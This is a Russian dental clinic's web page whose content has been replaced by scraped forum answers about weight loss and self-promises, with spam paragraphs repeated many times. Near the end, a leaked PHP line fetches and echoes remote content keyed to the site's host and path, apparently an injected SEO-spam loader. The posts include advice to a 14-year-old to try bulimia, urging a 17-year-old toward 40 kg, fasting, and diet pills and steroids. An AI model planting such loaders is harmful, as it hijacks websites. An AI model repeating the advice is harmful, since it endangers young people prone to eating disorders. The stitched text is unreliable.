Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Что делать нет силы воли я себе обещаю но никак не могу похудеть,мне 14 мой вес 90

К эндокринологу надо обратиться, у тебя явно что-то с гормонами.

Когда себе обещаешь, никто этого не слышит и об этом не знает, поэтому и нарушить данное слово очень легко. Попробуй пообещать какому-нибудь дорогому для тебя человеку. Или тренируй силу воли, но это может и не получиться.
Нужно, чтобы была поддержка и помощь близких. Можно и кого-нибудь из них (которого бы ты слушалась и который был бы авторитетным для тебя) попросить стать для тебя личным тренером, или кем-то в этом роде. Хотя опять же все-таки надо тренировать силу воли.
Хотя можно и к врачу попробовать сходить...

Придумайте стимул, похудеть вообще не сложно, было бы желание, а это уже только от вас зависит.

Нужно меньше жрать... просто пройти небольшой период, пересилить себя... неделю, например... и когда появятся даже не большие результаты, это и будет стимул! если не можешь сдержать обжорство - булимия... но не слишком увлекайся! и почаще смотри журналы со стройными девками, тоже стимулирует! ну надо как то натренировать силу воли, а там как по накатанной)))

Ну во-первых к врачу эндокринологу, возможно проблемы в щитовидке, если нет, то вперед сПОРТ, правильное питание, не голодание, а именно питание, рациональное сбалансированное, и ни в коем случае не переедайте, научитесь слушать свой желудок когда он наелся, чтоб не было тяжести.

Все из за неправильного питания. неправильно кушаете сударыня. не то! почти все болезни от неправильного питания. уже диабет лечат питанием. в две недели. а вы продолжаете себя травить и плачете.

У меня такая же ситуация была. правда мне тогда было 12 и весила я 60. Но похудела. Мои советы: не ограничивай себя во овощах, фруктах, воде. Не ешь сильно жирное, но если не можешь сдержаться то немного совсем капельку. Не ешь чипсы, шоколадки, и тому подобное, не пей колу, спрайт, фанту и т. д. . И самое главное нужно заниматься спортом. Если стесняешься ходить в залы, сама дома занимайся. Пресс качай (живот убирает) . Только по немногу. А то плохо станет если много будешь сразу качать. На скакалке прыгать надо (*уббирает жир) . Последуй некоторым советам и я уверенна у тебя получится.

Диета Любимая ) проверила на себе обещали похудеть 7 дней до 10 кг а похудела на 2 кг. Блин что пошло не так?

Все зависит от первоначального веса) я похудела на 2,2 кг и то 1,7 потеряла только за первый питьевой день. Овощной и фруктовый перенесла плохо.. . тошнота, слабость. Питьевые было переносить проще. А на пяьый день начала есть нормально. после этого был перерыв 2 месяца. Обратно я ничего не набрала и решилась просто не есть после 6 Почти за 2 месяца я скинула 4,5 кг. Были праздники я ела целыми днями. Иногда съедаю вкусненькое после 6.
для меня это не плохо (я год не могла скинуть их на диетах, да я даже не могла продержаться на них. Вечно срывалась)

Настроение на похудение. Уже обещала себе не садится на диеты, а просто правильно питаться.Очень хочу продержаться - уже больше ради принципа, доказать себе что смогу Потом дальше возвращаюсь на -60 .

Вы часто себе чтото обещаете а потом не выполняете ...и что интересно

Если обещаю себе, то выполняю

Обсуждаемая и осуждаемая повсеместно Li-Da обещала похудение быстрое, последствия неясные, эффективность несомненную, а форумчане делали предположения одно другого страшнее.

Бывает такое. Не, не интересно.

Частно ))) А не выполняю потому что никто не бьёт меня по попке и не говорит :"Настёна иди сделай доброе дело"))

Ой, часто.... Все подряд.... Нужно что-то делать, а я вот за компом сижу.... И сижу, и сижу....

Да! Обещал себе в 16 лет что брошу курить. . потом в 25.. потом в 43..

Часто. Уборка и прочая рутина...

Биомагниты маленькие, серенькие и незаметные производители обещают легкое, как никогда простое похудение, всего за месяц.Это первый минус биомагнитов Nano Slim сомнительность. Кроме того, представим себе, что способ действительно работает.

Крайне редко и в основном по независящим от меня причинам.

Да никада--нет смысла... Потому обещаю другим, а тут не выполнить не могу--жизненное кредо не позволяет!!!!

Что я не хозяин своему слову ?

...часто даёте Сами Себе обещания:)..и НЕ выполняете их?))

Да постоянно

Что себе обещали за похудение. Окончательно меня сразило явление горячих круассанов с шоколадом из гриль-тостера, их предлагали к кофе. Полезны кефиры, кисломолочные продукты, что себе обещали за похудения, овощные супы и нежирные бульоны.

Такое к сожалению бывает еще. но все реже и реже.

Честно?)) )
бывает и такое)) )
поэтому стараюсь ничего себе не обещать))))

Очень часто) ) Я уже три недели пытаюсь встать и бегать по ктрам и делать зарядку))) ) Никак не могу...) ) Попробую завтра.. . Точно! ! Обещаю!!!))))))))))))

Никаких обещаний не даю и не имею право!!!!)))))))))) Каждый миг я уже другой!))) Как я могу отвечать за другого?!)))))))))))

ЧТО ТЫ СЕБЕ обещаешь каждый день????

Что на этой недели досдам всё таки сессию

Плюсы похудения. Двенадцать советов, которые помогут сдержать данные себе обещания.1. Дайте себе твердое обещание Пообещайте себе, что обязательно осуществите задуманное.

Не проспать ))))))))

Что всё будет хорошо и что я скоро увижу своих друзей.... ещё только 2 месяца!

Что бы этот день, не был похож на все остальные!! ! :)

Бросить пить.. взяться за ум... и может быть пойти на работу...

Не нажираться после 18 ч

Крис Пауэлл, фитнес-тренер, ведущий популярного шоу Экстремальное преображение программа похудения и автор книги Choose More, Lose More for LifeНеважно, будет это то же самое, что вы обещали себе ранее, или нет, но на этот раз постарайтесь сдержать свое слово .

Сесть на диету....

Честно-ничего.

Что вы себе обещаете начать с понедельника?

Мм.. мне бы хоть проснуться в этот день..

Когда Вы думаете про эффективное похудение, первое, что приходит на ум, так это все те невероятные журнальные и газетные статьи, которые обещают вам похудеть быстро и легко.

Не проснутся!!!!

Пойти на больничный, а как видно не судьба, зряплату жаль терять!)))

С этого - масленицу, со следущего - пост....

Работать и, почти каждый понедельник, выполняю взятые мной обязательства...

ЧТО ты СЕБЕ обещаешь КАЖДЫЙ ДЕНЬ???:...

Аххахаххахахахаааааааааааааааа
что вСтану рано))))))))))) ) ржуууууууууууууууууууууууууууууууууууууууу
чмафффффффф тяя)))

В подарок получишь зависть подруг и знвкомых. У тебя ж ткая сила воли-позавидует любой. ! Я к примеру не супе, да и не девочка уже, но результат по-моему на лицо. Это два года назад А это сейчас...

Что сегодня точно не спрошу: "Ты придешь?"...И никогда не сдерживаю данного себе утреннего обещания!

Сесть на диету....и каждый день сажусь)))))

"усе...сегодня я не ем", говорю я вгрызаясь в утреннюю булку))))))))))))))))))))))))))))

Что завтра буду меньше в ответах сидеть...))))))))))))))
приветик, зая

Что буду нервничать меньше :) но... не получается, все близко к сердцу принимаю

Резкое похудение может негативно отразиться на организме. Желание сбросить лишний вес сопровождает очень многих.Почти все эти методы, которые обещают резкое похудение, базируются на осознанном подавлении чувства голода с помощью специальных препаратов.

Всё, с завтрашнего дня сожусь на диету!!!

Пить витамины,правильно питаться,посещать тренировки два раза в неделю как минимум и наводить ежедневно порядок...но это всего лишь пустые обещания:((

Что похудею

Привет,Аленушка..)))
я то наемси, то не жру..вот атк вот и обещаю себе каждый день - не есть совсем..)))

Встать на пол-часа раньше.Не жрать на ночь.
Не курить.На работе думать только о работе.
Не пить кофе на ночь.
Всего и не упомнишь...

Но добиться идеальных пропорций порой очень сложно. О 5 шагах к похудению и о похудении без диет и без изнурительных тренировок вИ проснувшись утром следующего дня многие с удивлением обнаруживают, что сегодня это сейчас, а обещанное завтра будет завтра, а...

Не быть такой доверчивой к людям)
не выходит))

Обещаю себе лечь спать пораньше. А ложусь как всегда в первом часу.

Ни фига не обещаю!! !
никогда не пробывал даже на самом деле

Быть умненькой приразумненькой, шоб все меня ЛУбили))))))))))))))))))))))))

Перестать бесконечно переживать....

Настроение на похудение. Уже обещала себе не садится на диеты, а просто правильно питаться.Очень хочу продержаться - уже больше ради принципа, доказать себе что смогу Потом дальше возвращаюсь на -60 .

Таак, а кто себе вчера обещал, что будет бегать по утрам сегодня? )

Я обещал что буду работать ...пока не получается

Обсуждаемая и осуждаемая повсеместно Li-Da обещала похудение быстрое, последствия неясные, эффективность несомненную, а форумчане делали предположения одно другого страшнее.

Тот, кто позавчера обещал, что бросит пить...

Я обещал, тока пришел с пробежки, и скажу одно, душно на улице

Так я уже бегаю. не поверишь

Я - нет!

Только вернулась

Биомагниты маленькие, серенькие и незаметные производители обещают легкое, как никогда простое похудение, всего за месяц.Это первый минус биомагнитов Nano Slim сомнительность. Кроме того, представим себе, что способ действительно работает.

Уже))) И купалась!!!

C 91 года бегаю.

Ну я.

Я даже не обещала.. . )))

Каждий год мы что-то себе обещаем- бросить курить ,похудеть или чаще звонить маме

Да-да.. . только у меня вечером, перед сном, подобные мысли. а утром все проходит!

Что себе обещали за похудение. Окончательно меня сразило явление горячих круассанов с шоколадом из гриль-тостера, их предлагали к кофе. Полезны кефиры, кисломолочные продукты, что себе обещали за похудения, овощные супы и нежирные бульоны.

Сначала обещания, затем их выполнениние, такой закон жизни.

Угу... но человек настолько ленив, что переносит все на следующий день, месяц, год... жизнь...

....пффф!! ! медленно живёшь, если только раз в год обещания себе даёшь.... я так каждый день чего нибудь обещаю!!!

Так уж устроен человек.

Жалко, что обещания не выполняем!

Плюсы похудения. Двенадцать советов, которые помогут сдержать данные себе обещания.1. Дайте себе твердое обещание Пообещайте себе, что обязательно осуществите задуманное.

Зачем давать себе обещания, которые мы не выполняем?

Невыполняемые обещания - это ступеньки к переосмыслению чего-то, что хочется изменить, вот только жизнь еще не заставляет это делать окончательно и безповоротно.

Крис Пауэлл, фитнес-тренер, ведущий популярного шоу Экстремальное преображение программа похудения и автор книги Choose More, Lose More for LifeНеважно, будет это то же самое, что вы обещали себе ранее, или нет, но на этот раз постарайтесь сдержать свое слово .

Обещали ли вы кому нибудь похудеть?

Нет. надо делать, а не обещать!!!

Когда Вы думаете про эффективное похудение, первое, что приходит на ум, так это все те невероятные журнальные и газетные статьи, которые обещают вам похудеть быстро и легко.

Нет. ведь я знаю что не смогу так насиловать свой организм и постоянно. подруга вон уже дохуделась и теперь последствия... не анорексия но ничуть не легче..

Ни за что!!!

Если только себе

Обещать не обещал, так, предлагал ненавязчиво. Идея сама по себе неплоха, думаю надо заняться этим в обозримом будущем.

Себе обещала.

В подарок получишь зависть подруг и знвкомых. У тебя ж ткая сила воли-позавидует любой. ! Я к примеру не супе, да и не девочка уже, но результат по-моему на лицо. Это два года назад А это сейчас...

Я не обещала. . Просто из-за бешенного темпа жизни и без всяких диет похудела за 2 недели на 11 кг.. . Была 64, стала 53 при росте 170

Что ты чаще всего сам (а) себе обещаешь...?)))

Повышение зарплаты

Резкое похудение может негативно отразиться на организме. Желание сбросить лишний вес сопровождает очень многих.Почти все эти методы, которые обещают резкое похудение, базируются на осознанном подавлении чувства голода с помощью специальных препаратов.

Обещаю не пить водку, всё равно обману.

Начать худеть (((

"Что бы я..еще хоть раз.."..Ну и как? Получается сдерживать обещание, данное самому себе?)

Да, больше никому не делал предложений пожениться.

Но добиться идеальных пропорций порой очень сложно. О 5 шагах к похудению и о похудении без диет и без изнурительных тренировок вИ проснувшись утром следующего дня многие с удивлением обнаруживают, что сегодня это сейчас, а обещанное завтра будет завтра, а...

Всегда. У меня воля железная)

Иногда бывает и наоборот, в стиле "зарекалась пчелка мед не есть".

Это вам делалось обещание..., что бы отстали. А себе зачем, да и о чем, вы хоть суть вопроса улавливаете?

Увы и ах, но вновь и вновь..;))

Вы знаете, если из сердца вон, то и с глаз долой! Только так и получается !!!))))

Настроение на похудение. Уже обещала себе не садится на диеты, а просто правильно питаться.Очень хочу продержаться - уже больше ради принципа, доказать себе что смогу Потом дальше возвращаюсь на -60 .

Всегда получалось! Уходя-уходи! И не оборачивалась! Даже считала, что веду себя как мужчина !:) Но это было пока не полюбила всем сердцем! Злюсь, что давно надо уйти, хотя бы в сторону отойти, чтобы не мешать любимому жить! Но.... нет сил даже на шаг от него отойти! Сколько раз уже зарекалась, что ВСЁ ! На следующий день просто умираю от боли и горя! Так и лежу у ног любимого, как шкура медведя: ) Я всегда рядом, но не мешаю ему больше жить! Я теперь понимаю, что когда любишь забываешь о гордости, всё прощаешь, просто любишь и радуешься, что он есть и что живой и счастливый, хоть и не со мной!

Ответила.. .
и опять ответ канул в лету.. .
Вряд ли востановить всё что я написала, правда вот стиш в конце написался.. . благодаря вопросу... )
За что спасибо! )
Перемолол меня в мясорубке
и смеялся как сумашедший,
играл в жизнь!
ему было отроду года четыре,
точно, не больше
может быть меньше.. .
у него чтобы вырасти целая вечность.. .
у меня может день,
может целая жизнь,
точно не больше.. .
может быть меньше.. .
хотя нужен всего то миг.. .
Посылал откровения,
чрез писания наимудрейших,
сумашедших как он,
о безумии истины,
буд то Мир лишь иллюзия,
убеждая, что боли фантомны. .
только мне от того не проще,
мне от того не легче.. .
Я ньюанс забытья его сна.. .
точно, не больше
может быть меньше.. .
Отчего, так страшны,
кровожадны, все его грёзы?
Уж проснулся бы лучше... !
Я согласна совсем исчезнуть.. .
(В этих снах быть себе дороже! )
30.10.12.
Что же касается обещаний.. .
Я дала себе обещание, не давать обещаний.. .
Потому как стоило сказать "Чтобы я...! " буд то бы сразу на небе включалось какое-то реле, и ко мне прилетала ситуация, где я "ещё раз... ", и приходило осознание, если я скажу "Чтобы я...! " будет "... ещё много, много раз... " ))
(В моей жизни слова обладают каким-то магическим свойством - в этом я уже не сомневаюсь!) )
А потому "Никогда не говори никогда"-это для меня как защитная мантра от таких ситуаций в которых мне придётся убедиться в несостоятельности обетов, придуманных собой табу и как следствие в своём несовершенстве и бессилии им следовать.
Ну написано же: "Не клянись! Ибо потому ни одного волоса на своей голове ты не можешь сделать белым или черным"...
хотя сюда я бы внесла поправку.. . от моих клятв на моей голове волосы белеют! )
Кстати, милостивый государь, а нельзя с этого дня наоборот? ) Хотя ну их.. . нервы дороже волос! )

50 на 50.Дала себе обещание похудеть и много не жрать. За год похудела на три размера. А вот с интернетным шопоголизмом справиться не могу. Каждый раз даю себе обещание не 3аказывать больше ничего в интернет магазинах, но как говориться зарекалась свинья в грязи не валятьться. ю

Да.. . было дело.. .
"Да чтоб я...! Да больше никогда...! "
И в тот же день - на те же грабли!

Какие вы себе даете обещания?...

Трёхгодичные

Обсуждаемая и осуждаемая повсеместно Li-Da обещала похудение быстрое, последствия неясные, эффективность несомненную, а форумчане делали предположения одно другого страшнее.

С завтрашнего дня начну готовиться к егэ

Каждый день даю себе обещание не есть после 18.00

Похудеть к лету

Любые, их же не обязательно выполнять

С утра просто встать с постели хотя бы =)

Биомагниты маленькие, серенькие и незаметные производители обещают легкое, как никогда простое похудение, всего за месяц.Это первый минус биомагнитов Nano Slim сомнительность. Кроме того, представим себе, что способ действительно работает.

Никаких! Надоело....

Никогда не говорить никогда)

Я не даю обещаний. Если мне надо делать - значит делаю безотлагательно

Какое обещание, данное себе, труднее всего выполнить ? )

Завтра проснусь раньше будильника

Что себе обещали за похудение. Окончательно меня сразило явление горячих круассанов с шоколадом из гриль-тостера, их предлагали к кофе. Полезны кефиры, кисломолочные продукты, что себе обещали за похудения, овощные супы и нежирные бульоны.

Не пить из горла.. это же так неприлично...)

Не есть после 18 часов

Эту допью, и больше ни ни.

Не оправдываться

Начать новую жизнь с понедельника

Плюсы похудения. Двенадцать советов, которые помогут сдержать данные себе обещания.1. Дайте себе твердое обещание Пообещайте себе, что обязательно осуществите задуманное.

Все которые себе обещаю.

Http://www.youtube.com/watch?v=lioAIu67teI

Не давать себе обещания.

Похудеть)))))))

Встала на весы.. . всё, пиз.. ец.. . больше НЕ буду.. . НИ вставать на весы, НИ жрать на ночь! А ТЫ ч0 себе обещаешь???)))

Не брать кредиты
не помогает)

Крис Пауэлл, фитнес-тренер, ведущий популярного шоу Экстремальное преображение программа похудения и автор книги Choose More, Lose More for LifeНеважно, будет это то же самое, что вы обещали себе ранее, или нет, но на этот раз постарайтесь сдержать свое слово .

НЕ истязай себя. КУшай.

Каждый день обещаю сегодня лечь спать сегодня, а ложусь постоянно завтра ((

Какая лапочка, правда ))) ??

Всегда готов!

А я ниче не обещаю) я заведомо их не выполняю)))

Когда Вы думаете про эффективное похудение, первое, что приходит на ум, так это все те невероятные журнальные и газетные статьи, которые обещают вам похудеть быстро и легко.

Я уже убедилась что у меня нет силы воли, вот хочется пива и всё, а с утра обещала не хотеть

Теперь весы на себя... ничё не обещаю, пользуюсь и имею то, что есть)))

Не встречаться с чужими женами.

Я тоже встала на весы, аж глаза чуть не вывалились, такое я там увидела. 2 дня уже не ем почти ничего, похудела на полкило, еще 1,5 кг. нужно скинуть.

То же самое ...не жрать ночью....)))))))))))))

В подарок получишь зависть подруг и знвкомых. У тебя ж ткая сила воли-позавидует любой. ! Я к примеру не супе, да и не девочка уже, но результат по-моему на лицо. Это два года назад А это сейчас...

Вот что Вы себе пожелаете...?)) ) А? Только учтите - сбудется обязательно! Не поторопитесь - мысли материальны!

БАРЕМЕННОСТЬ ДВОЙНЕЙ! ЗДОРОВЕНЬКИЕ И СЧАСТЛИВЫЕ ДЕТКИ! Желаю всем исполнения желаний!

Резкое похудение может негативно отразиться на организме. Желание сбросить лишний вес сопровождает очень многих.Почти все эти методы, которые обещают резкое похудение, базируются на осознанном подавлении чувства голода с помощью специальных препаратов.

Внука или внучку!

Я пожелаю себе. чтоб всегда люди желали мне: здоровья. счастья и блага)))) я в долгу не останусь)))

... похудеть на 2 кг.... хахах....:)))))))))))))))))))))

Магожынку....

Найти наконецто того сумасшедшего, который будет меня любить =))

Но добиться идеальных пропорций порой очень сложно. О 5 шагах к похудению и о похудении без диет и без изнурительных тренировок вИ проснувшись утром следующего дня многие с удивлением обнаруживают, что сегодня это сейчас, а обещанное завтра будет завтра, а...

Найти умную которая меня будет учить всему... совсем одичал..)))

Я хочу покататься на бугатти верон

Можно я оставлю желание в мыслях и не озвучу?))) всё равно обещали исполнения!!!!)

Уже пожелала, сроки исполнения?

Если вам нужно худеть, сдерживаете ли вы себя в количестве еды? или худеете мысленно?

Мысленно можно ВСЁ!
Главное, чтобы мысли не путались.

Настроение на похудение. Уже обещала себе не садится на диеты, а просто правильно питаться.Очень хочу продержаться - уже больше ради принципа, доказать себе что смогу Потом дальше возвращаюсь на -60 .

Я сегодня села на диету.. . мне кажется без ограничения в еде и без физических тренировок не похудеть)

В количестве еды не сдерживаем, только с качеством!

Мысленно?
ограничивать сильно не нужно
но я ограничиваю, сильно

Я на сытый желудок всегда себе обещаю, что вот завтра-то уж точно сяду на диету. Но приходит завтра с голодным желудком, и опять хочется чего-нибудь вкусненького заглотить. Ну, а дальше опять обещания, что вот уж с завтрашнего-то дня точно! Ну, вот так и "худею". ;)))

Ну как сдерживаю.. . Просто урезаю рацион на 300 калорий, то есть по минус 100 от каждого приема пищи и все. Почти не чувствуется, а кг уходят) ) Медленно, но верно и без вреда для здоровья)

Обсуждаемая и осуждаемая повсеместно Li-Da обещала похудение быстрое, последствия неясные, эффективность несомненную, а форумчане делали предположения одно другого страшнее.

Конечно мысленно. Путем медитаций уже на 20 кг. похудел. И не поверишь, даже весы показывают, что похудел.
А мысли простые- берешь огурец и представляешь, что это жирная колбаса, берешь кусочек куриного филе и представляешь, что это Целая Курица)))) )
Если будешь есть больше чем тратишь хоть умечтайся- не похудеешь.

Доброе утро, любимки!) Вы часто себе задаёте вопрос...почему живёте не так, как хотелось бы? И какой ответ себе даёте? )

Я живу так как хочу.... на данный период

Биомагниты маленькие, серенькие и незаметные производители обещают легкое, как никогда простое похудение, всего за месяц.Это первый минус биомагнитов Nano Slim сомнительность. Кроме того, представим себе, что способ действительно работает.

Я живу так как хочу... Доброе утро любимка!!!

Задаю. А в ответ тишина

Задаю, получаю ответ: Судьба такой!

Спрашиваю себя иногда - ответ очевиден: лентяйка я)))

Я живу так как хочу, за очень маленькими нюансами, каждый строит свою жизнь сам, и спрашивать кроме себя больше некого.

Что себе обещали за похудение. Окончательно меня сразило явление горячих круассанов с шоколадом из гриль-тостера, их предлагали к кофе. Полезны кефиры, кисломолочные продукты, что себе обещали за похудения, овощные супы и нежирные бульоны.

Ну я всю жизнь жила как хотела..., а теперь как колобок: и от дедушки ушёл, и от бабушки ушёл. А когда меня захотела съесть лиса, я поняла, что главное в жизни-это семья.

Этот вопрос лучше вообще не задавать, а лучше начинать жить так как ты считаешь правильно! мы сами себе ставим рамки! мы живем не для того чтобы соответствовать чьим либо ожиданиям и они живут не для того чтобы соответсвовать нашим!

И не то что задаю.. . Я даже ответ на него знаю.. . :)))
Ну не судьба.. . блин.. . :)))

Просто нужно принимать жизнь такой какая она есть, а если все время думать как все могло бы быть, так и жизнь пройдет мимо.

Каждое утро даю себе слово что поменяюсь; но увы... Себя перестроить тяжело... Хорошего дня!!!

Плюсы похудения. Двенадцать советов, которые помогут сдержать данные себе обещания.1. Дайте себе твердое обещание Пообещайте себе, что обязательно осуществите задуманное.

Да потому что именно так хочется..)) )
На самом деле, если мы говорим себе, например, что хотим похудеть и отлично выглядеть и чувствовать себя, обещаем себе, начать здоровый образ жизни, вот прямо.. . со следующего понедельника..., со следующего месяца..., с нового года - это означает не то, что мы живем не так, как нам хочется, а с точностью до наоборот..) )
Существует так называемая неконгруэнтность, несовпадение сознательных и бессознательных компонентов нашего целеполагания. Сплошь и рядом, сознательно стремясь к достижению чего-то действительно ценного, мы бессознательно бываем не готовы к тому, чтобы его добиться и достигнуть.

Потому что вовремя мозгов не хватило правильно оценить происходящее, сделать верные выводы и поступить как надо. Теперь уж поздно, кошка сдохла. Можно исправить, конечно, но это - как по живому резать.

Что не поздно всё менять, но опять живу, не так, как хотелось бы.

Это не я такой, это судьба такой.... а вернее я лентяйка такая....

Как перестать жрать?

Сожрать все в холодильнике

Крис Пауэлл, фитнес-тренер, ведущий популярного шоу Экстремальное преображение программа похудения и автор книги Choose More, Lose More for LifeНеважно, будет это то же самое, что вы обещали себе ранее, или нет, но на этот раз постарайтесь сдержать свое слово .

Нужно чем-нибудь заняться!

Весной похудела на 4,5 кг, расслабилась и за лето набрала 4 кг. Просто лопала все, что хотелось. Теперь опять буду худеть, т. К. купила очень красивое платье и теперь не влезаю.

Надо найти себе интересное занятие. Когда садитесь за еду, ставьте на стол заранее два -три кусочка хлеба, уменьшите порции. После 18-00 не ешьте. Если почувствуете голод, выпейте немного тепловатой воды маленькими глоточками.

Как вариант повесь на холодильник фото тощей красотки))))) ) будет стыдно доставать сосиску

Ешь понемногу раз 7 в день.. желательно диетическое..

Когда Вы думаете про эффективное похудение, первое, что приходит на ум, так это все те невероятные журнальные и газетные статьи, которые обещают вам похудеть быстро и легко.

Силой воли обзаведись. Помогает.

Если хочется есть - нужно есть. Но питайтесь дробно - http://fotodiet.ru/drobnoe-pitanie.htm - часто но маленькими порциями. Однозначно сбросите вес.

Начните постепенно снижать калорийность, каждый день понемногу уменьшайте порции еды, и так через недельку постепенно зверский аппетит начнет снижаться.

Запретное манит. Не садись на жесткую диету с понедельника! Не пугай организм)))

Похудение на таблетках

Таблетки для похудения - это всего лишь отъем денег.

В подарок получишь зависть подруг и знвкомых. У тебя ж ткая сила воли-позавидует любой. ! Я к примеру не супе, да и не девочка уже, но результат по-моему на лицо. Это два года назад А это сейчас...

Начните бегать + плаванье + велосипед

Редуксин редуксин лайт

Ты сама ответила на свой вопрос - таблетками ты собьешь все, что можно - обмен веществ, почки, печень.... Причем, исправить все это будет уже невозможно. Ешь мало, зачем тогда снижать аппетит? Предлагаю тебе другой путь - снизить долю углеводов и жиров в твоем рационе. Ну то есть жиры можно минимизировать. применяя в пищу обезжиренные продукты, а углеводы снизить - исключением сладкого и мучного.. . Удачи!

Только фитнес..., только он.

Сходите посоветуйтесь с другим специалистом, таблетки не помощь в похудении, только здоровье посадите.

Резкое похудение может негативно отразиться на организме. Желание сбросить лишний вес сопровождает очень многих.Почти все эти методы, которые обещают резкое похудение, базируются на осознанном подавлении чувства голода с помощью специальных препаратов.

Как сбоосить вес? Не могу заставить себя начать. Набрала из-за стресса

Вот так!!!

Но добиться идеальных пропорций порой очень сложно. О 5 шагах к похудению и о похудении без диет и без изнурительных тренировок вИ проснувшись утром следующего дня многие с удивлением обнаруживают, что сегодня это сейчас, а обещанное завтра будет завтра, а...

Сколько лет?

Набрать вес гораздо проще чем потом его сбросить. За месяц вполне реально, но это потребует от вас значительных усилий.

Если очень захотеть- похудеешь. а пока значит не очень то хочешь..


Вес полученный вследствие стресса - тяжело сбросить, сама после стресса набрала 10 кг, была 50... При росте 160. Я вам советую комплексно заняться собой. Диета + спорт. Каждое утро начинаете со стакана воды (не минеральной), исключите все виды газированных вод, чипсы, пряники и тд (вам бы желательно к диетологу, чтобв узнать что вам можно а что нет, индивидуальная диета, но я лично не ходила), каждое утро делайте зарядку, стакан воды и через 20 мин завтрак. Ежедневно выпивайте как минимум 1,5 литра воды, ешьте побольше фруктов (особенно грейпфрут, яблоки, апельсины), мясо ешьте отварное. До 10 утра можно есть все, до 12 дня белковое, до 14 часов легкое, после 14 часов салатики, бульоны, после 18 часов ничего не ешьте, если сильно приспичит - пейте кефир

Настроение на похудение. Уже обещала себе не садится на диеты, а просто правильно питаться.Очень хочу продержаться - уже больше ради принципа, доказать себе что смогу Потом дальше возвращаюсь на -60 .

В вк напишите я могу быть вашим личным диетологом
скиньте вашу ссылку в вк я вам напишу
все хорошего

Попробуйте кардио тренировки. Быстрая ходьба, прыжки через скакалку, бег, ну и самое приятное - секс.

Для похудения очень хорошо помогает бег! О том как убежать от лишнего веса вы можете здесь

Очень рекомендую программы питания и программы тренировок диетолога Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

  • Крем для похудения люкс - Как похудеть??? ААААААААА Этот вопрос был и вчера http://otvet.mail.ru/question/14233435/ Класса люкс и бижутерия, Фред
  • Диета при приеме метандиенон - Подскажите как быстро можно накачать мышцы? какую нужно соблюдать диету?какие может нужны припораты? У меня есть только
  • Калькуляторы для похудения - Какой должен быть вес если рост 168, 17 лет? Кому должен? что за чушь спрашивают эти малолетки? * 40 кг. иди худей Для н
  • Диета для диабетика для снижения веса - ПРИ САХАРНОМ ДИАБЕТЕ ДИЕТА для снижения веса Слышала что зелени много надо есть. Мол и худеешь и при диабете можно, но я
  • Аппаратно-Программный комплекс диета - Какие упражнения делать, чтобы за месяц похудеть на килограмма 2-3? Велотренажера или беговой дорожки думаю хватит) Ходи
  • Стимуляция к похудению - Скажите, можно ли доверять всяческим разрекламированым поясам для похудения и мышечной стимуляции??? Был у меня один, ес
  • Эллиптический тренажер для похудения для каких групп мышц - Можно ли набрать мышечную массу, занимаясь на эллиптическом тренажере? Или с помощью него можно только похудеть? А бегат
  • За сколько дней можно похудеть на 10 кг - На сколько кг можно похудеть за месяц если, бегать каждый день по пол часа и есть только фрукты? Ага есть только фрукты.
  • Чай для похудения с кассией и мятой - Расскажите пожалуйста про фиточай "Алтай" 3 "Для похудения с кассией и мятой", помогает ли сбросить вес? Конечно поможет
  • Омега 3 6 помог похудеть - Народ,люди подскажите! ЧтО лучше или поможет лучше для похудения?Простой рыбий жир или рыбий жир с ОМега 3??? Ни тот, ни
  • Крем для похудения люкс - Как похудеть??? ААААААААА Этот вопрос был и вчера http://otvet.mail.ru/question/14233435/ Класса люкс и бижутерия, Фред
  • Диета при приеме метандиенон - Подскажите как быстро можно накачать мышцы? какую нужно соблюдать диету?какие может нужны припораты? У меня есть только
  • Калькуляторы для похудения - Какой должен быть вес если рост 168, 17 лет? Кому должен? что за чушь спрашивают эти малолетки? * 40 кг. иди худей Для н
  • Диета для диабетика для снижения веса - ПРИ САХАРНОМ ДИАБЕТЕ ДИЕТА для снижения веса Слышала что зелени много надо есть. Мол и худеешь и при диабете можно, но я
  • Аппаратно-Программный комплекс диета - Какие упражнения делать, чтобы за месяц похудеть на килограмма 2-3? Велотренажера или беговой дорожки думаю хватит) Ходи
  • Стимуляция к похудению - Скажите, можно ли доверять всяческим разрекламированым поясам для похудения и мышечной стимуляции??? Был у меня один, ес
  • Эллиптический тренажер для похудения для каких групп мышц - Можно ли набрать мышечную массу, занимаясь на эллиптическом тренажере? Или с помощью него можно только похудеть? А бегат
  • За сколько дней можно похудеть на 10 кг - На сколько кг можно похудеть за месяц если, бегать каждый день по пол часа и есть только фрукты? Ага есть только фрукты.
  • Чай для похудения с кассией и мятой - Расскажите пожалуйста про фиточай "Алтай" 3 "Для похудения с кассией и мятой", помогает ли сбросить вес? Конечно поможет
  • Омега 3 6 помог похудеть - Народ,люди подскажите! ЧтО лучше или поможет лучше для похудения?Простой рыбий жир или рыбий жир с ОМега 3??? Ни тот, ни
Что себе обещали за похудение
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта